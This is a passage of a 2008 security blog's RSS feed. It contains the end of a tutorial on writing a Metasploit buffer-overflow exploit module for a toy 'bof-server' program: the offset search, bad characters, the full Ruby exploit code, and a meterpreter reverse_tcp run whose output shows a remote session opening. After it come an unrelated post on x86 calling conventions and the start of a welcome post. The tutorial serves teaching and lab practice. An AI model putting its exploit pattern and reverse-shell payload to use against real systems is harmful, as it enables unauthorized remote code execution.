      &lt;span class="c1"&gt;# Here we should exploit the target&lt;/span&gt;
    &lt;span class="k"&gt;end&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now it's time to get missing informations, we already know that sending
1024 bytes of data makes our server crash.&lt;/p&gt;
&lt;p&gt;Metasploit gives a very cool tool which permits you to know how many
bytes need to be sent to fill the remote buffer and crash the target.
This tool is composed of 2 scripts: &lt;em&gt;pattern_create.rb&lt;/em&gt; and
&lt;em&gt;pattern_offset.rb&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;We will not use &lt;em&gt;pattern_create.rb&lt;/em&gt;, but the &lt;em&gt;pattern_create()&lt;/em&gt;
function in your exploit script instead.&lt;/p&gt;
&lt;p&gt;Here is your new &lt;em&gt;exploit&lt;/em&gt; function of our script:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;exploit&lt;/span&gt;
  &lt;span class="c1"&gt;# Here we should exploit the target&lt;/span&gt;
  &lt;span class="n"&gt;connect&lt;/span&gt;
  &lt;span class="n"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pattern_create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;
  &lt;span class="n"&gt;disconnect&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;We can now fire-up our preferred debugger, attach the bof-server
process, and start our exploit using &lt;em&gt;msf_cli&lt;/em&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt; msfcli windows/dummy/bof-server &lt;span class="nv"&gt;PAYLOAD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;windows/meterpreter/bind_tcp &lt;span class="nv"&gt;RPORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4242 &lt;span class="nv"&gt;RHOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;127.0.0.1 E
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The bof-server should have crashed. Giving the crashing EIP address to
pattern_offset.rb will return us how many bytes are needed to reach the
saved return value.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt; pattern_offset.rb 72413372
&lt;span class="go"&gt;520&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;As you can see &lt;em&gt;pattern_offest.rb&lt;/em&gt; returned &lt;em&gt;520&lt;/em&gt;, so 520 bytes + 4
are necessary to make the target crash.&lt;/p&gt;
&lt;p&gt;Looking at the stack we should also be able to find the start address
of the overflowed buffer (Here I got 0x22fb65).&lt;/p&gt;
&lt;p&gt;We now have quite all the informations we needed for our exploit. The
only things remaining are the BadChars.&lt;/p&gt;
&lt;p&gt;BadChars are characters that should not be sent to the target, because
the target modifies them, or behaves differently when finding them.&lt;/p&gt;
&lt;p&gt;Again, in our debugger, by looking at the assembly code (around
0x4146D) we found that the target is doing something special with the
0x0A, 0x0D and 0x20 characters.&lt;/p&gt;
&lt;p&gt;Using all this informations we are now able to put them in our exploit
script.&lt;/p&gt;
&lt;p&gt;Our exploit script looks like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="nb"&gt;require&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;msf/core&amp;#39;&lt;/span&gt;
&lt;span class="k"&gt;module&lt;/span&gt; &lt;span class="nn"&gt;Msf&lt;/span&gt;
  &lt;span class="c1"&gt;# class name should reflect directories&lt;/span&gt;
  &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Exploits&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Windows&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Dummy&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;BofServer&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;Msf&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Exploit&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Remote&lt;/span&gt;
    &lt;span class="kp"&gt;include&lt;/span&gt; &lt;span class="no"&gt;Exploit&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Remote&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Tcp&lt;/span&gt;

    &lt;span class="c1"&gt;# exploit relative informations&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;initialize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{})&lt;/span&gt;
      &lt;span class="k"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;update_info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                        &lt;span class="s1"&gt;&amp;#39;Name&amp;#39;&lt;/span&gt;           &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;bof-server exploit&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                        &lt;span class="s1"&gt;&amp;#39;Description&amp;#39;&lt;/span&gt;    &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;This is an exploit for bof-server v0.01&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                        &lt;span class="s1"&gt;&amp;#39;Author&amp;#39;&lt;/span&gt;         &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;xipe&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;# You ;)&lt;/span&gt;
                        &lt;span class="s1"&gt;&amp;#39;Version&amp;#39;&lt;/span&gt;        &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;1.0&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                        &lt;span class="s1"&gt;&amp;#39;Payload&amp;#39;&lt;/span&gt;        &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
                        &lt;span class="p"&gt;{&lt;/span&gt;
                          &lt;span class="s1"&gt;&amp;#39;Space&amp;#39;&lt;/span&gt;    &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;# Space that payload can use.&lt;/span&gt;
                                             &lt;span class="c1"&gt;# We found that we needed 520 bytes to make the&lt;/span&gt;
                                             &lt;span class="c1"&gt;# bof-server crash, but we will only use 500, as&lt;/span&gt;
                                             &lt;span class="c1"&gt;# the end of this space can be modified by the target&lt;/span&gt;
                                             &lt;span class="c1"&gt;# before returning.&lt;/span&gt;
                          &lt;span class="s1"&gt;&amp;#39;StackAdjustment&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;3500&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;# Modify stack pointer at shellcode start&lt;/span&gt;
                                                      &lt;span class="c1"&gt;# so it can use the stack without writing&lt;/span&gt;
                                                      &lt;span class="c1"&gt;# on itself.&lt;/span&gt;
                          &lt;span class="s1"&gt;&amp;#39;BadChars&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\x00\x20\x0D\x0A&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;# Chars that payloads should not&lt;/span&gt;
                                                            &lt;span class="c1"&gt;# contains.&lt;/span&gt;
                        &lt;span class="p"&gt;},&lt;/span&gt;
                        &lt;span class="s1"&gt;&amp;#39;Platform&amp;#39;&lt;/span&gt;   &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;win&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                        &lt;span class="s1"&gt;&amp;#39;Targets&amp;#39;&lt;/span&gt;    &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
                        &lt;span class="o"&gt;[&lt;/span&gt;
                         &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Windows XP SP2 English&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                             &lt;span class="p"&gt;{&lt;/span&gt;
                               &lt;span class="s1"&gt;&amp;#39;Platform&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;win&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                               &lt;span class="s1"&gt;&amp;#39;Ret&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mh"&gt;0x22fb65&lt;/span&gt; &lt;span class="c1"&gt;# Return address.&lt;/span&gt;
                             &lt;span class="p"&gt;}&lt;/span&gt;
                          &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                        &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                        &lt;span class="s1"&gt;&amp;#39;DefaultTarget&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="k"&gt;end&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;check&lt;/span&gt;
      &lt;span class="c1"&gt;# Here we should check if the target is vulnerable&lt;/span&gt;
      &lt;span class="c1"&gt;# This function should not crash the target&lt;/span&gt;
      &lt;span class="n"&gt;connect&lt;/span&gt;
      &lt;span class="n"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;version&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
      &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;
      &lt;span class="n"&gt;disconnect&lt;/span&gt;
      &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=~&lt;/span&gt; &lt;span class="sr"&gt;/bof-server v0.01/&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="no"&gt;Exploit&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;CheckCode&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Vulnerable&lt;/span&gt;
      &lt;span class="k"&gt;end&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="no"&gt;Exploit&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;CheckCode&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Safe&lt;/span&gt;
    &lt;span class="k"&gt;end&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;exploit&lt;/span&gt;
      &lt;span class="c1"&gt;# Here we should exploit the target&lt;/span&gt;
      &lt;span class="n"&gt;connect&lt;/span&gt;
      &lt;span class="n"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encoded&lt;/span&gt; &lt;span class="c1"&gt;# Size of the payload is defined by Payload.Space in exploit infos.&lt;/span&gt;
      &lt;span class="n"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;make_nops&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# Some more bytes, as we defined the payload to be 500 bytes long&lt;/span&gt;
      &lt;span class="n"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="o"&gt;].&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;V&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# Return address&lt;/span&gt;
      &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# send data&lt;/span&gt;
      &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;

      &lt;span class="n"&gt;handler&lt;/span&gt; &lt;span class="c1"&gt;# pass the connection to the payload handler&lt;/span&gt;
      &lt;span class="n"&gt;disconnect&lt;/span&gt;
    &lt;span class="k"&gt;end&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The only remaing thing is to test our exploit and to have fun :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt; msfcli windows/dummy/bof-server &lt;span class="nv"&gt;PAYLOAD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;windows/meterpreter/reverse_tcp &lt;span class="nv"&gt;RPORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4242 &lt;span class="nv"&gt;RHOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;172.20.0.2 &lt;span class="nv"&gt;LHOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;172.20.0.1 E
&lt;span class="go"&gt;[*] Started reverse handler&lt;/span&gt;
&lt;span class="go"&gt;[*] Transmitting intermediate stager for over-sized stage...(89 bytes)&lt;/span&gt;
&lt;span class="go"&gt;[*] Sending stage (2834 bytes)&lt;/span&gt;
&lt;span class="go"&gt;[*] Sleeping before handling stage...&lt;/span&gt;
&lt;span class="go"&gt;[*] Uploading DLL (81931 bytes)...&lt;/span&gt;
&lt;span class="go"&gt;[*] Upload completed.&lt;/span&gt;
&lt;span class="go"&gt;[*] Meterpreter session 1 opened (172.20.0.1:4444 -&amp;gt; 172.20.0.2:1109)&lt;/span&gt;

&lt;span class="go"&gt;meterpreter &amp;gt; ls&lt;/span&gt;

&lt;span class="go"&gt;Listing: Z:\work\test\exploit\metasploit&lt;/span&gt;
&lt;span class="go"&gt;========================================&lt;/span&gt;

&lt;span class="go"&gt;Mode              Size   Type  Last modified                   Name&lt;/span&gt;
&lt;span class="go"&gt;----              ----   ----  -------------                   ----&lt;/span&gt;
&lt;span class="go"&gt;40777/rwxrwxrwx   0      dir   Thu Jan 01 01:00:00 +0100 1970  .&lt;/span&gt;
&lt;span class="go"&gt;40777/rwxrwxrwx   0      dir   Thu Jan 01 01:00:00 +0100 1970  ..&lt;/span&gt;
&lt;span class="go"&gt;100666/rw-rw-rw-  3001   fil   Thu Jan 01 01:00:00 +0100 1970  .gdbtkinit&lt;/span&gt;
&lt;span class="go"&gt;100666/rw-rw-rw-  26814  fil   Thu Jan 01 01:00:00 +0100 1970  bof-server&lt;/span&gt;
&lt;span class="go"&gt;100666/rw-rw-rw-  3200   fil   Thu Jan 01 01:00:00 +0100 1970  bof-server.c&lt;/span&gt;
&lt;span class="go"&gt;100666/rw-rw-rw-  3211   fil   Thu Jan 01 01:00:00 +0100 1970  bof-server.c~&lt;/span&gt;
&lt;span class="go"&gt;100777/rwxrwxrwx  26665  fil   Thu Jan 01 01:00:00 +0100 1970  bof-server.exe&lt;/span&gt;
&lt;span class="go"&gt;100666/rw-rw-rw-  2880   fil   Thu Jan 01 01:00:00 +0100 1970  bof-server.o&lt;/span&gt;

&lt;span class="go"&gt;meterpreter &amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I hope you had as much fun as I had while writing this article, and I
would like to thanks all the Metasploit team for giving us a such cool
framework !&lt;/p&gt;
&lt;/div&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">xipe</dc:creator><pubDate>Thu, 24 Jan 2008 20:23:00 +0100</pubDate><guid>http://redstck.net/blog//writing-exploits-for-metasploit-30.html</guid></item><item><title>x86 calling conventions</title><link>http://redstck.net/blog//x86-calling-conventions.html</link><description>&lt;p&gt;This is the first article of a (I hope) long series of articles about
'The Basics: What everyone should know about' :)&lt;/p&gt;
&lt;p&gt;The calling convention defines the way a function or a piece of code
should arrange data before calling a function, and what to do after. It
responds to questions like &lt;em&gt;&amp;quot;In which order should I pass the arguments
?&amp;quot;&lt;/em&gt;, &lt;em&gt;&amp;quot;Should I clean something ?&amp;quot;&lt;/em&gt;, &lt;em&gt;&amp;quot;Where is the result ?&amp;quot;&lt;/em&gt;, ...&lt;/p&gt;
&lt;p&gt;There is a lot of different calling conventions. Here are the 3 I see
the most of the time:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;cdecl&lt;/li&gt;
&lt;li&gt;stdcall&lt;/li&gt;
&lt;li&gt;fastcall&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="section" id="cdecl-convention"&gt;
&lt;h2&gt;cdecl convention&lt;/h2&gt;
&lt;p&gt;The &lt;strong&gt;cdecl&lt;/strong&gt; convention is the default one used when working with a C
compiler like GCC or MSVC. To use the &lt;strong&gt;cdecl&lt;/strong&gt; scheme for a function,
you can use this syntax (GCC):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="n"&gt;__attribute__&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;cdecl&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...);&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;GCC will produce the following code when calling a &lt;strong&gt;cdecl&lt;/strong&gt; function
with 4 arguments :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="nf"&gt;push&lt;/span&gt;   &lt;span class="mh"&gt;0x4&lt;/span&gt; &lt;span class="c1"&gt;; arg4&lt;/span&gt;
&lt;span class="nf"&gt;push&lt;/span&gt;   &lt;span class="mh"&gt;0x3&lt;/span&gt; &lt;span class="c1"&gt;; arg3&lt;/span&gt;
&lt;span class="nf"&gt;push&lt;/span&gt;   &lt;span class="mh"&gt;0x2&lt;/span&gt; &lt;span class="c1"&gt;; arg2&lt;/span&gt;
&lt;span class="nf"&gt;push&lt;/span&gt;   &lt;span class="mh"&gt;0x1&lt;/span&gt; &lt;span class="c1"&gt;; arg1&lt;/span&gt;
&lt;span class="nf"&gt;call&lt;/span&gt;   &lt;span class="nv"&gt;_cdecl_fct&lt;/span&gt;
&lt;span class="nf"&gt;add&lt;/span&gt;    &lt;span class="nb"&gt;esp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt;    &lt;span class="kt"&gt;DWORD&lt;/span&gt; &lt;span class="nv"&gt;PTR&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mh"&gt;0x4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;As you can see, arguments are pushed into the stack in right to left
order, and it's up to the caller to remove the arguments from the stack
(Here this is done by &lt;tt class="docutils literal"&gt;add esp, 0x10&lt;/tt&gt;). The result of the function is
stored in the EAX register.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="stdcall-convention"&gt;
&lt;h2&gt;stdcall convention&lt;/h2&gt;
&lt;p&gt;The &lt;strong&gt;stdcall&lt;/strong&gt; convention is the one used by Win32 APIs. It's also the
easyest to use when writing ASM code, in my opinion. A function can be
declared as a &lt;strong&gt;stdcall&lt;/strong&gt; function in C with this syntax (GCC):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="n"&gt;__attribute__&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;stdcall&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...);&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;GCC will produce the following code when calling a &lt;strong&gt;stdcall&lt;/strong&gt; function
with 4 arguments :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="nf"&gt;push&lt;/span&gt;   &lt;span class="mh"&gt;0x4&lt;/span&gt; &lt;span class="c1"&gt;; arg4&lt;/span&gt;
&lt;span class="nf"&gt;push&lt;/span&gt;   &lt;span class="mh"&gt;0x3&lt;/span&gt; &lt;span class="c1"&gt;; arg3&lt;/span&gt;
&lt;span class="nf"&gt;push&lt;/span&gt;   &lt;span class="mh"&gt;0x2&lt;/span&gt; &lt;span class="c1"&gt;; arg2&lt;/span&gt;
&lt;span class="nf"&gt;push&lt;/span&gt;   &lt;span class="mh"&gt;0x1&lt;/span&gt; &lt;span class="c1"&gt;; arg1&lt;/span&gt;
&lt;span class="nf"&gt;call&lt;/span&gt;   &lt;span class="nv"&gt;_stdcall_fct@16&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt;    &lt;span class="kt"&gt;DWORD&lt;/span&gt; &lt;span class="nv"&gt;PTR&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mh"&gt;0x4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;As for the &lt;strong&gt;cdecl&lt;/strong&gt; calling style, arguments are pushed from right to
left, but in &lt;strong&gt;stdcall&lt;/strong&gt; mode, the caller doesn't have to clean the
arguments from the stack after calling the function. A &lt;strong&gt;stdcall&lt;/strong&gt;
function removes arguments from the stack before returning. This is done
by using the &lt;tt class="docutils literal"&gt;ret n&lt;/tt&gt; instruction most of the time.&lt;/p&gt;
&lt;p&gt;Like for &lt;strong&gt;cdecl&lt;/strong&gt;, result is in EAX.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="fastcall-convention"&gt;
&lt;h2&gt;fastcall convention&lt;/h2&gt;
&lt;p&gt;The &lt;strong&gt;fastcall&lt;/strong&gt; convention is not standardized, but we will watch the
way GCC and MSVC handle it. A function can be declared as a &lt;strong&gt;fastcall&lt;/strong&gt;
function in C with this syntax (GCC):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="n"&gt;__attribute__&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;fastcall&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...);&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;GCC will produce the following code when calling a &lt;strong&gt;stdcall&lt;/strong&gt; function
with 4 arguments :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="nf"&gt;push&lt;/span&gt;   &lt;span class="mh"&gt;0x4&lt;/span&gt; &lt;span class="c1"&gt;; arg4&lt;/span&gt;
&lt;span class="nf"&gt;push&lt;/span&gt;   &lt;span class="mh"&gt;0x3&lt;/span&gt; &lt;span class="c1"&gt;; arg3&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt;    &lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x2&lt;/span&gt; &lt;span class="c1"&gt;; arg2&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt;    &lt;span class="nb"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x1&lt;/span&gt; &lt;span class="c1"&gt;; arg1&lt;/span&gt;
&lt;span class="nf"&gt;call&lt;/span&gt;   &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="nv"&gt;fastcall_fct@16&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt;    &lt;span class="kt"&gt;DWORD&lt;/span&gt; &lt;span class="nv"&gt;PTR&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mh"&gt;0x4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;As you can see, not all the arguments are pushed into the stack. The
first two arguments are passed via the ECX, for the first argument, and
EDX, for the second argument. The remaining arguments are pushed into
the stack from right to left. The called function has to pop the
arguments from the stack before returning, like for &lt;strong&gt;stdcall&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The result is, as usual, in EAX :)&lt;/p&gt;
&lt;/div&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">xipe</dc:creator><pubDate>Wed, 16 Jan 2008 05:45:00 +0100</pubDate><guid>http://redstck.net/blog//x86-calling-conventions.html</guid></item><item><title>Hell-o World</title><link>http://redstck.net/blog//hell-o-world.html</link><description>&lt;p&gt;Welcome to this blog !&lt;/p&gt;
